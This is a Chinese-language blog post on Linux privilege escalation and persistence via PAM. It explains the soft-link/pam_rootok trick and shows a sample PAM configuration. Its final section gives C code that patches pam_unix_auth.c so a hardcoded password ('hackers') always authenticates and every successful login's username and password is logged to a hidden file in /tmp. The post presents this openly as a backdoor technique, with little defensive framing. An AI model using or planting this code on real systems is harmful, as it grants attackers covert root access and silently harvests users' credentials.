PAM软连接提权

文章目录

概要

PAM软链接提权利用的原理主要依赖于PAM(可插拔认证模块)配置文件的特性。具体来说,它利用了以下几个关键点:

PAM认证机制:PAM允许系统管理员通过配置文件灵活地管理用户认证过程。在SSH服务中,如果启用了PAM认证,系统会在用户登录时调用PAM模块进行身份验证。

软链接的使用:攻击者可以创建一个指向sshd文件的软链接,并将其命名为su(或其他名称)。当SSH服务启动时,它会根据PAM配置文件查找对应的模块。

pam_rootok.so模块:pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

PAM配置文件的控制:在PAM配置文件中,如果控制标志设置为sufficient,那么只要pam_rootok模块检测到用户的UID为0(即root用户),就会允许认证成功。这意味着即使输入了错误的密码,只要满足UID为0的条件,用户就可以获得root权限。

绕过正常验证:通过这种方式,攻击者可以绕过正常的密码验证,利用软链接实现提权,从而获得对系统的控制。

PAM软连接

1.可以查看 /etc/ssh/sshd_config 文件的UsePAM设置。来确认是否开启PAM认证。

2.修改PAM配置文件

auth required pam_securetty.so//要求在安全终端上进行身份验证。

auth required pam_unix.so shadow nullok//使用Unix认证,允许空密码(但并不推荐)。

auth required pam_nologin.so//检查是否存在nologin文件,防止不允许的用户登录。

account required pam_unix.so//用于账户管理的Unix认证。

password required pam_cracklib.so retry=3//使用密码复杂性检查,允许用户最多重试3次。

password required pam_unix.so shadow nullok use_authtok//用于更新密码的Unix认证,允许空密码,使用先前的身份验证令牌。

session required pam_unix.so//处理用户会话的相关操作。

3.将PAM配置文件中控制标志为sufficient,更改pam_rootok模块检测uid为0(root)

也可以修改配置,创建后门

修改配置:Linux-PAM/modules/pam_unix/pam_unix_auth.c配置后门

复制代码
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码
    if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);} 
name = p = NULL;
相关推荐
fei_sun20 小时前
【复习】计网每日一题1123---UDP首部检验和
网络·网络协议·udp
袖手蹲21 小时前
树莓派 5 Trixie 镜像 + Docker 架设 Eclipse Mosquitto 与 ESP32 双向 MQTT 交互
运维·docker·容器
山卡拉噶21 小时前
在Linux中安装Kdump调试环境
linux·运维·服务器
程序员与背包客_CoderZ21 小时前
C/C++版LLM推理框架Llama.cpp——入门与编码实战
c语言·开发语言·网络·c++·人工智能·语言模型·llama
℡終嚸♂68021 小时前
红帽系统(RHEL 8/9)安装与配置Nginx全攻略
运维·chrome·nginx
中科固源1 天前
中科数测研究院亮相东京CodeBlue大会,揭秘医疗影像系统安全漏洞
网络·安全·网络安全
人工智能训练1 天前
在Windows系统Docker中使用wsl2、容器、windows文件路径三种不同挂载方式的区别和性能差异
运维·服务器·人工智能·windows·docker·容器·wsl2
yangmf20401 天前
APM(三):监控 Python 服务链
大数据·运维·开发语言·python·elk·elasticsearch·搜索引擎
阿巴~阿巴~1 天前
TCP服务器实现全流程解析(简易回声服务端):从套接字创建到请求处理
linux·服务器·网络·c++·tcp·socket网络编程
百***06011 天前
服务器无故nginx异常关闭之kauditd0 kswapd0挖矿病毒 CPU占用200% 内存耗尽
运维·服务器·nginx